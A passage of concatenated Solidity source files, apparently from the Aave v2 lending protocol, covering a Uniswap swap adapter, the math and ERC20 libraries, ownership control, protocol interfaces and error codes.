/**
* @dev Calculates the input asset amount required to buy the given output asset amount
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @param amountOut Amount of reserveOut
* @return uint256[] amounts Array containing the amountIn and amountOut for a swap
*/
function _getAmountsInAndPath(
address reserveIn,
address reserveOut,
uint256 amountOut
) internal view returns (uint256[] memory, address[] memory) {
address[] memory simplePath = new address[](2);
simplePath[0] = reserveIn;
simplePath[1] = reserveOut;
uint256[] memory amountsWithoutWeth;
uint256[] memory amountsWithWeth;
address[] memory pathWithWeth = new address[](3);
if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) {
pathWithWeth[0] = reserveIn;
pathWithWeth[1] = WETH_ADDRESS;
pathWithWeth[2] = reserveOut;
try UNISWAP_ROUTER.getAmountsIn(amountOut, pathWithWeth) returns (
uint256[] memory resultsWithWeth
) {
amountsWithWeth = resultsWithWeth;
} catch {
amountsWithWeth = new uint256[](3);
}
} else {
amountsWithWeth = new uint256[](3);
}
try UNISWAP_ROUTER.getAmountsIn(amountOut, simplePath) returns (
uint256[] memory resultAmounts
) {
amountsWithoutWeth = resultAmounts;
return
(amountsWithWeth[0] < amountsWithoutWeth[0] && amountsWithWeth[0] != 0)
? (amountsWithWeth, pathWithWeth)
: (amountsWithoutWeth, simplePath);
} catch {
return (amountsWithWeth, pathWithWeth);
}
}
/**
* @dev Calculates the input asset amount required to buy the given output asset amount
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @param amountOut Amount of reserveOut
* @return uint256[] amounts Array containing the amountIn and amountOut for a swap
*/
function _getAmountsIn(
address reserveIn,
address reserveOut,
uint256 amountOut,
bool useEthPath
) internal view returns (uint256[] memory) {
address[] memory path;
if (useEthPath) {
path = new address[](3);
path[0] = reserveIn;
path[1] = WETH_ADDRESS;
path[2] = reserveOut;
} else {
path = new address[](2);
path[0] = reserveIn;
path[1] = reserveOut;
}
return UNISWAP_ROUTER.getAmountsIn(amountOut, path);
}
/**
* @dev Emergency rescue for token stucked on this contract, as failsafe mechanism
* - Funds should never remain in this contract more time than during transactions
* - Only callable by the owner
**/
function rescueTokens(IERC20 token) external onlyOwner {
token.transfer(owner(), token.balanceOf(address(this)));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
/**
* @title PercentageMath library
* @author Aave
* @notice Provides functions to perform percentage calculations
* @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR
* @dev Operations are rounded half up
**/
library PercentageMath {
uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals
uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2;
/**
* @dev Executes a percentage multiplication
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The percentage of value
**/
function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) {
if (value == 0 || percentage == 0) {
return 0;
}
require(
value <= (type(uint256).max - HALF_PERCENT) / percentage,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR;
}
/**
* @dev Executes a percentage division
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The value divided the percentage
**/
function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) {
require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfPercentage = percentage / 2;
require(
value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from './IERC20.sol';
interface IERC20Detailed is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import {IERC20} from './IERC20.sol';
import {SafeMath} from './SafeMath.sol';
import {Address} from './Address.sol';
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance'
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), 'SafeERC20: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title LendingPoolAddressesProvider contract
* @dev Main registry of addresses part of or connected to the protocol, including permissioned roles
* - Acting also as factory of proxies and admin of those, so with right to change its implementations
* - Owned by the Aave Governance
* @author Aave
**/
interface ILendingPoolAddressesProvider {
event MarketIdSet(string newMarketId);
event LendingPoolUpdated(address indexed newAddress);
event ConfigurationAdminUpdated(address indexed newAddress);
event EmergencyAdminUpdated(address indexed newAddress);
event LendingPoolConfiguratorUpdated(address indexed newAddress);
event LendingPoolCollateralManagerUpdated(address indexed newAddress);
event PriceOracleUpdated(address indexed newAddress);
event LendingRateOracleUpdated(address indexed newAddress);
event ProxyCreated(bytes32 id, address indexed newAddress);
event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy);
function getMarketId() external view returns (string memory);
function setMarketId(string calldata marketId) external;
function setAddress(bytes32 id, address newAddress) external;
function setAddressAsProxy(bytes32 id, address impl) external;
function getAddress(bytes32 id) external view returns (address);
function getLendingPool() external view returns (address);
function setLendingPoolImpl(address pool) external;
function getLendingPoolConfigurator() external view returns (address);
function setLendingPoolConfiguratorImpl(address configurator) external;
function getLendingPoolCollateralManager() external view returns (address);
function setLendingPoolCollateralManager(address manager) external;
function getPoolAdmin() external view returns (address);
function setPoolAdmin(address admin) external;
function getEmergencyAdmin() external view returns (address);
function setEmergencyAdmin(address admin) external;
function getPriceOracle() external view returns (address);
function setPriceOracle(address priceOracle) external;
function getLendingRateOracle() external view returns (address);
function setLendingRateOracle(address lendingRateOracle) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
library DataTypes {
// refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct UserConfigurationMap {
uint256 data;
}
enum InterestRateMode {NONE, STABLE, VARIABLE}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IUniswapV2Router02 {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title IPriceOracleGetter interface
* @notice Interface for the Aave price oracle.
**/
interface IPriceOracleGetter {
/**
* @dev returns the asset price in ETH
* @param asset the address of the asset
* @return the ETH price of the asset
**/
function getAssetPrice(address asset) external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
interface IERC20WithPermit is IERC20 {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {IFlashLoanReceiver} from '../interfaces/IFlashLoanReceiver.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
abstract contract FlashLoanReceiverBase is IFlashLoanReceiver {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER;
ILendingPool public immutable override LENDING_POOL;
constructor(ILendingPoolAddressesProvider provider) public {
ADDRESSES_PROVIDER = provider;
LENDING_POOL = ILendingPool(provider.getLendingPool());
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol';
import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol';
interface IBaseUniswapAdapter {
event Swapped(address fromAsset, address toAsset, uint256 fromAmount, uint256 receivedAmount);
struct PermitSignature {
uint256 amount;
uint256 deadline;
uint8 v;
bytes32 r;
bytes32 s;
}
struct AmountCalc {
uint256 calculatedAmount;
uint256 relativePrice;
uint256 amountInUsd;
uint256 amountOutUsd;
address[] path;
}
function WETH_ADDRESS() external returns (address);
function MAX_SLIPPAGE_PERCENT() external returns (uint256);
function FLASHLOAN_PREMIUM_TOTAL() external returns (uint256);
function USD_ADDRESS() external returns (address);
function ORACLE() external returns (IPriceOracleGetter);
function UNISWAP_ROUTER() external returns (IUniswapV2Router02);
/**
* @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices
* @param amountIn Amount of reserveIn
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @return uint256 Amount out of the reserveOut
* @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals)
* @return uint256 In amount of reserveIn value denominated in USD (8 decimals)
* @return uint256 Out amount of reserveOut value denominated in USD (8 decimals)
* @return address[] The exchange path
*/
function getAmountsOut(
uint256 amountIn,
address reserveIn,
address reserveOut
)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
address[] memory
);
/**
* @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices
* @param amountOut Amount of reserveOut
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @return uint256 Amount in of the reserveIn
* @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals)
* @return uint256 In amount of reserveIn value denominated in USD (8 decimals)
* @return uint256 Out amount of reserveOut value denominated in USD (8 decimals)
* @return address[] The exchange path
*/
function getAmountsIn(
uint256 amountOut,
address reserveIn,
address reserveOut
)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
address[] memory
);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title Errors library
* @author Aave
* @notice Defines the error messages emitted by the different contracts of the Aave protocol
* @dev Error messages prefix glossary:
* - VL = ValidationLogic
* - MATH = Math libraries
* - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken)
* - AT = AToken
* - SDT = StableDebtToken
* - VDT = VariableDebtToken
* - LP = LendingPool
* - LPAPR = LendingPoolAddressesProviderRegistry
* - LPC = LendingPoolConfiguration
* - RL = ReserveLogic
* - LPCM = LendingPoolCollateralManager
* - P = Pausable
*/
library Errors {
//common errors
string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin'
string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small
//contract specific errors
string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0'
string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve'
string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen'
string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough'
string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance'
string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.'
string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled'
string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected'
string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0'
string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold'
string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow'
string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled
string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed
string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode
string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt'
string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed'
string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve'
string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve'
string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0'
string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral'
string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve'
string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met'
string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed'
string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow'
string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.'
string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent'
string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator'
string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28';
string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool'
string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself'
string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero'
string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized'
string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve'
string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin'
string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered'
string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold'
string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated'
string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency'
string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate"
string public constant LPCM_NO_ERRORS = '46'; // 'No errors'
string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected
string public constant MATH_MULTIPLICATION_OVERFLOW = '48';
string public constant MATH_ADDITION_OVERFLOW = '49';
string public constant MATH_DIVISION_BY_ZERO = '50';
string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128
string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128
string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128
string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128
string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128
string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint
string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57';
string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn
string public constant LP_FAILED_COLLATERAL_SWAP = '60';
string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61';
string public constant LP_REENTRANCY_NOT_ALLOWED = '62';
string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63';
string public constant LP_IS_PAUSED = '64'; // 'Pool is paused'
string public constant LP_NO_MORE_RESERVES_ALLOWED = '65';
string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66';
string public constant RC_INVALID_LTV = '67';
string public constant RC_INVALID_LIQ_THRESHOLD = '68';
string public constant RC_INVALID_LIQ_BONUS = '69';
string public constant RC_INVALID_DECIMALS = '70';
string public constant RC_INVALID_RESERVE_FACTOR = '71';
string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72';
string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73';
string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74';
string public constant UL_INVALID_INDEX = '77';
string public constant LP_NOT_CONTRACT = '78';
string public constant SDT_STABLE_DEBT_OVERFLOW = '79';
string public constant SDT_BURN_EXCEEDS_BALANCE = '80';
enum CollateralManagerErrors {
NO_ERROR,
NO_COLLATERAL_AVAILABLE,
COLLATERAL_CANNOT_BE_LIQUIDATED,
CURRRENCY_NOT_BORROWED,
HEALTH_FACTOR_ABOVE_THRESHOLD,
NOT_ENOUGH_LIQUIDITY,
NO_ACTIVE_RESERVE,
HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD,
INVALID_EQUAL_ASSETS_TO_SWAP,
FROZEN_RESERVE
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
